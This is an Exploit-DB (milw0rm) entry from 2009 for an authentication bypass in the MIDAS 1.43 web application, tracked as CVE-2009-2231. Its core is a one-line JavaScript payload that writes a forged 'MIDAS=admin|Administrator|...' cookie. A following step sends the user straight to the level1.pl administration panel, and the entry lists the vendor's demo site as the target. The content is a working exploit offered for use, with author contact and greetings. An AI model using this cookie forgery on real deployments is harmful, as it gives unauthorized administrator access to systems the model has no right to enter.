MIDAS 1.43 Auth Bypass Insecure Cookie Handling Vulnerability

2009-06-22T00:00:00
ID EDB-ID:8987
Type exploitdb
Reporter HxH
Modified 2009-06-22T00:00:00

Description

MIDAS 1.43 (Auth Bypass) Insecure Cookie Handling Vulnerability. CVE-2009-2231. Webapps exploit for cgi platform

                                        
                                            --------------------------------------------

MIDAS Insecure Cookie Handling Vulnerability

--------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: MIDAS

Home...: http://mid.as

-------------------------------------------------------------------------------------------------

Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";

Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0

-------------------------------------------------------------------------------------------------

Demo...: http://demo.mid.as

Panel..: http://demo.mid.as/level1.pl?x=0

-----------------------------------------

Greetz.: ~ Jiko ~ Sniper Code

-----------------------------

# milw0rm.com [2009-06-22]